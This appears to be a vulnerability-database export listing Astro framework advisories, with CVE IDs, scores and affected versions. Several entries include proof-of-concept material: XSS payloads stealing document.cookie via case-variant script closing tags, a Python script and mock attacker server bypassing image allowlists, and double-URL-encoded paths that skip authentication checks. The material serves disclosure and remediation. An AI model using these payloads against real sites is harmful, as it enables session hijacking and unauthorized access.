| Affected_by_vulnerabilities |
| 0 |
| url |
VCID-4nsb-h2qe-tug9 |
| vulnerability_id |
VCID-4nsb-h2qe-tug9 |
| summary |
Astro Development Server has Arbitrary Local File Read
A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2025-64757, GHSA-x3h8-62x9-952g
|
| risk_score |
1.6 |
| exploitability |
0.5 |
| weighted_severity |
3.1 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-4nsb-h2qe-tug9 |
|
| 1 |
| url |
VCID-7vja-km1g-5bdg |
| vulnerability_id |
VCID-7vja-km1g-5bdg |
| summary |
Astros's duplicate trailing slash feature leads to an open redirection security issue
There is an Open Redirection vulnerability in the trailing slash redirection logic when handling paths with double slashes. This allows an attacker to redirect users to arbitrary external domains by crafting URLs such as `https://mydomain.com//malicious-site.com/`. This increases the risk of phishing and other social engineering attacks.
This affects Astro >=5.2.0 sites that use on-demand rendering (SSR) with the Node or Cloudflare adapter. It does not affect static sites, or sites deployed to Netlify or Vercel. |
| references |
|
| fixed_packages |
| 0 |
| url |
pkg:npm/astro@5.12.8 |
| purl |
pkg:npm/astro@5.12.8 |
| is_vulnerable |
true |
| affected_by_vulnerabilities |
| 0 |
| vulnerability |
VCID-4nsb-h2qe-tug9 |
|
| 1 |
| vulnerability |
VCID-a19r-4mhu-syhd |
|
| 2 |
| vulnerability |
VCID-gmum-ebwt-f3at |
|
| 3 |
| vulnerability |
VCID-j5k1-5dfe-8udj |
|
| 4 |
| vulnerability |
VCID-jcqr-tk29-xbat |
|
| 5 |
| vulnerability |
VCID-k4f1-y5qy-9ka4 |
|
| 6 |
| vulnerability |
VCID-qcs7-nt67-7qe5 |
|
| 7 |
| vulnerability |
VCID-rjus-p7ga-fugs |
|
| 8 |
| vulnerability |
VCID-tkwe-8ejd-mfb6 |
|
| 9 |
| vulnerability |
VCID-w3zj-e7u2-2fh1 |
|
| 10 |
| vulnerability |
VCID-wvqv-3kwm-1uba |
|
|
| resource_url |
http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.12.8 |
|
|
| aliases |
CVE-2025-54793, GHSA-cq8c-xv66-36gw
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-7vja-km1g-5bdg |
|
| 2 |
| url |
VCID-a19r-4mhu-syhd |
| vulnerability_id |
VCID-a19r-4mhu-syhd |
| summary |
Astro: XSS in define:vars via incomplete </script> tag sanitization
## Summary
The `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/<\/script>/g` to sanitize values injected into inline `<script>` tags via the `define:vars` directive. HTML parsers close `<script>` elements case-insensitively and also accept whitespace or `/` before the closing `>`, allowing an attacker to bypass the sanitization with payloads like `</Script>`, `</script >`, or `</script/>` and inject arbitrary HTML/JavaScript.
## Details
The vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`:
```typescript
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/<\/script>/g, // ← Case-sensitive, exact match only
'\\x3C/script>',
)};\n`;
}
return markHTMLString(output);
}
```
This function is called from `renderElement` at `util.ts:172-174` when a `<script>` element has `define:vars`:
```typescript
if (name === 'script') {
delete props.hoist;
children = defineScriptVars(defineVars) + '\n' + children;
}
```
The regex `/<\/script>/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification §13.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody):
1. **Case variations**: `</Script>`, `</SCRIPT>`, `</sCrIpT>` — HTML tag names are case-insensitive but the regex has no `i` flag.
2. **Whitespace before `>`**: `</script >`, `</script\t>`, `</script\n>` — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
3. **Self-closing slash**: `</script/>` — the tokenizer enters "self-closing start tag" state on `/`.
`JSON.stringify()` does not escape `<`, `>`, or `/` characters, so all these payloads pass through serialization unchanged.
**Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `<script>` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `<script>` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.
## PoC
**Step 1:** Create an SSR Astro page (`src/pages/index.astro`):
```astro
---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
<h1>Hello</h1>
<script define:vars={{ name }}>
console.log(name);
</script>
</body>
</html>
```
**Step 2:** Ensure SSR is enabled in `astro.config.mjs`:
```js
export default defineConfig({
output: 'server'
});
```
**Step 3:** Start the dev server and visit:
```
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>
```
**Step 4:** View the HTML source. The output contains:
```html
<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
console.log(name);
</script>
```
The browser's HTML parser matches `</Script>` case-insensitively, closing the script block. The `<img onerror=alert(document.cookie)>` is then parsed as HTML and the JavaScript in `onerror` executes.
**Alternative bypass payloads:**
```
/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
```
## Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `<script>` tag. This is a documented and expected usage pattern in Astro.
Exploitation enables:
- **Session hijacking** via cookie theft (`document.cookie`)
- **Credential theft** by injecting fake login forms or keyloggers
- **Defacement** of the rendered page
- **Redirection** to attacker-controlled domains
The vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable.
## Recommended Fix
Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `<` characters in the JSON output:
```typescript
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/</g,
'\\u003c',
)};\n`;
}
return markHTMLString(output);
}
```
This is the standard approach used by frameworks like Next.js and Rails. Replacing every `<` with `\u003c` is safe inside JSON string contexts (JavaScript treats `\u003c` as `<` at runtime) and eliminates all possible `</script>` variants including case variations, whitespace, and self-closing forms. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-41067, GHSA-j687-52p2-xcff
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-a19r-4mhu-syhd |
|
| 3 |
| url |
VCID-gmum-ebwt-f3at |
| vulnerability_id |
VCID-gmum-ebwt-f3at |
| summary |
Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint
**Summary**
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the **@astrojs/cloudflare** adapter with `output: 'server'`. The built-in image optimization endpoint (`/_image`) uses `isRemoteAllowed()` from Astro’s internal helpers, which **unconditionally allows `data:` URLs**. When the endpoint receives a valid `data:` URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a **302 redirect back to the original `data:` URL**, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (`image.domains` / `image.remotePatterns`) and typical Content Security Policy mitigations.
**Affected Versions**
- `@astrojs/cloudflare` ≤ 12.6.10 (and likely all previous versions)
- Astro ≥ 4.x when used with `output: 'server'` and the Cloudflare adapter
**Root Cause – Vulnerable Code**
File: `node_modules/@astrojs/internal-helpers/src/remote.ts`
```ts
export function isRemoteAllowed(src: string, ...): boolean {
if (!URL.canParse(src)) {
return false;
}
const url = new URL(src);
// Data URLs are always allowed
if (url.protocol === 'data:') {
return true;
}
// Non-http(s) protocols are never allowed
if (!['http:', 'https:'].includes(url.protocol)) {
return false;
}
// ... further http/https allow-list checks
}
```
In the **Cloudflare adapter**, the `/_image` endpoint contains logic similar to:
```ts
const href = ctx.url.searchParams.get('href');
if (!href) {
// return error
}
if (isRemotePath(href)) {
if (isRemoteAllowed(href, imageConfig) === false) {
// return error
} else {
//redirect to return the image
return Response.redirect(href, 302);
}
}
```
Because `data:` URLs are considered “allowed”, a request such as:
`https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)`
triggers a **302 redirect directly to the `data:` URL**, causing the browser to render and execute the malicious JavaScript inside the SVG.
**Proof of Concept (PoC)**
1. Create a minimal Astro project with Cloudflare adapter (`output: 'server'`).
2. Deploy to Cloudflare Pages or Workers.
3. Request the image endpoint with the following payload: |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2025-65019, GHSA-fvmw-cj7j-j39q
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-gmum-ebwt-f3at |
|
| 4 |
| url |
VCID-j5k1-5dfe-8udj |
| vulnerability_id |
VCID-j5k1-5dfe-8udj |
| summary |
Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass
In impacted versions of Astro using [on-demand rendering](https://docs.astro.build/en/guides/on-demand-rendering/), request headers `x-forwarded-proto` and `x-forwarded-port` are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:
- Middleware-based protected route bypass (only via `x-forwarded-proto`)
- DoS via cache poisoning (if a CDN is present)
- SSRF (only via `x-forwarded-proto`)
- URL pollution (potential SXSS, if a CDN is present)
- WAF bypass |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2025-64525, GHSA-hr2q-hp5q-x767
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-j5k1-5dfe-8udj |
|
| 5 |
| url |
VCID-jcqr-tk29-xbat |
| vulnerability_id |
VCID-jcqr-tk29-xbat |
| summary |
Astro: Remote allowlist bypass via unanchored matchPathname wildcard
## Summary
This issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
## Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
## Description
Taint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()`
User-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
```ts
const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);
const isRemoteImage = isRemotePath(transform.src);
if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
return new Response('Forbidden', { status: 403 });
}
```
`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
```ts
export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
return (
matchProtocol(url, remotePattern.protocol) &&
matchHostname(url, remotePattern.hostname, true) &&
matchPort(url, remotePattern.port) &&
matchPathname(url, remotePattern.pathname, true)
);
}
```
The vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
```ts
} else if (pathname.endsWith('/*')) {
const slicedPathname = pathname.slice(0, -1); // * length
const additionalPathChunks = url.pathname
.replace(slicedPathname, '')
.split('/')
.filter(Boolean);
return additionalPathChunks.length === 1;
}
```
**Vulnerable code flow:**
1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.
2. `matchPathname()` handles `pathname: "/img/*"` using `.replace()` on the URL path.
3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start.
4. The image endpoint fetches and returns the remote resource.
## PoC
The PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
### Vulnerable config
```js
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
image: {
remotePatterns: [
{ protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
{ protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
],
},
});
```
### Affected pages
This PoC targets the `/_image` endpoint directly; no additional pages are required.
### PoC Code
```python
import http.client
import json
import urllib.parse
HOST = "127.0.0.1"
PORT = 4321
def fetch(path: str) -> dict:
conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp = conn.getresponse()
body = resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should fail
results = {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
```
### Attacker server
```python
from http.server import BaseHTTPRequestHandler, HTTPServer
HOST = "127.0.0.1"
PORT = 9999
PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
<text>OK</text>
</svg>
"""
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f">>> {self.command} {self.path}")
if self.path.endswith(".svg") or "/img/" in self.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
return
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, format, *args):
return
if __name__ == "__main__":
server = HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
```
### PoC Steps
1. Bootstrap default Astro project.
2. Add the vulnerable config and attacker server.
3. Build the project.
4. Start the attacker server.
5. Start the Astro server.
6. Run the PoC.
7. Observe the console output showing both the allowed and bypass requests returning the SVG payload. |
| references |
| 0 |
|
| 1 |
| reference_url |
https://github.com/withastro/astro |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
5.3 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
|
| 1 |
| value |
2.9 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
|
| 2 |
| value |
LOW |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/withastro/astro |
|
| 2 |
|
| 3 |
|
| 4 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-33769, GHSA-g735-7g2w-hh3f
|
| risk_score |
2.4 |
| exploitability |
0.5 |
| weighted_severity |
4.8 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-jcqr-tk29-xbat |
|
| 6 |
| url |
VCID-k4f1-y5qy-9ka4 |
| vulnerability_id |
VCID-k4f1-y5qy-9ka4 |
| summary |
Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765
A **double URL encoding bypass** allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like `/%2561dmin` instead of `/%61dmin`, attackers can still bypass authentication and access protected resources such as `/admin`, `/api/internal`, or any route protected by middleware pathname checks. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2025-66202, GHSA-whqg-ppgf-wp8c
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-k4f1-y5qy-9ka4 |
|
| 7 |
| url |
VCID-qcs7-nt67-7qe5 |
| vulnerability_id |
VCID-qcs7-nt67-7qe5 |
| summary |
Astro allows unauthorized third-party images in _image endpoint
In affected versions of `astro`, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served. |
| references |
| 0 |
|
| 1 |
| reference_url |
https://github.com/withastro/astro |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
6.1 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
|
| 1 |
| value |
6.4 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/withastro/astro |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
|
| fixed_packages |
| 0 |
| url |
pkg:npm/astro@5.13.2 |
| purl |
pkg:npm/astro@5.13.2 |
| is_vulnerable |
true |
| affected_by_vulnerabilities |
| 0 |
| vulnerability |
VCID-4nsb-h2qe-tug9 |
|
| 1 |
| vulnerability |
VCID-a19r-4mhu-syhd |
|
| 2 |
| vulnerability |
VCID-gmum-ebwt-f3at |
|
| 3 |
| vulnerability |
VCID-j5k1-5dfe-8udj |
|
| 4 |
| vulnerability |
VCID-jcqr-tk29-xbat |
|
| 5 |
| vulnerability |
VCID-k4f1-y5qy-9ka4 |
|
| 6 |
| vulnerability |
VCID-rjus-p7ga-fugs |
|
| 7 |
| vulnerability |
VCID-tkwe-8ejd-mfb6 |
|
| 8 |
| vulnerability |
VCID-w3zj-e7u2-2fh1 |
|
| 9 |
| vulnerability |
VCID-wvqv-3kwm-1uba |
|
|
| resource_url |
http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.13.2 |
|
|
| aliases |
CVE-2025-55303, GHSA-xf8x-j4p2-f749
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-qcs7-nt67-7qe5 |
|
| 8 |
| url |
VCID-rjus-p7ga-fugs |
| vulnerability_id |
VCID-rjus-p7ga-fugs |
| summary |
Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values
A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies `decodeURI()` to determine which route to render, while the middleware uses `context.url.pathname` without applying the same normalization (decodeURI).
This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2025-64765, GHSA-ggxq-hp9w-j794
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-rjus-p7ga-fugs |
|
| 9 |
| url |
VCID-tkwe-8ejd-mfb6 |
| vulnerability_id |
VCID-tkwe-8ejd-mfb6 |
| summary |
Astro development server error page is vulnerable to reflected Cross-site Scripting
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2025-64745, GHSA-w2vj-39qv-7vh7
|
| risk_score |
1.4 |
| exploitability |
0.5 |
| weighted_severity |
2.7 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-tkwe-8ejd-mfb6 |
|
| 10 |
| url |
VCID-w3zj-e7u2-2fh1 |
| vulnerability_id |
VCID-w3zj-e7u2-2fh1 |
| summary |
Astro's `X-Forwarded-Host` is reflected without validation
When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an `X-Forwarded-Host` header that is reflected when using the recommended `Astro.url` property as there is no validation that the value is safe. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2025-61925, GHSA-5ff5-9fcw-vg88
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-w3zj-e7u2-2fh1 |
|
| 11 |
| url |
VCID-wvqv-3kwm-1uba |
| vulnerability_id |
VCID-wvqv-3kwm-1uba |
| summary |
Astro vulnerable to reflected XSS via the server islands feature
After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, **regardless of what was intended by the component template(s)**. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2025-64764, GHSA-wrwg-2hg8-v723
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-wvqv-3kwm-1uba |
|
|
|---|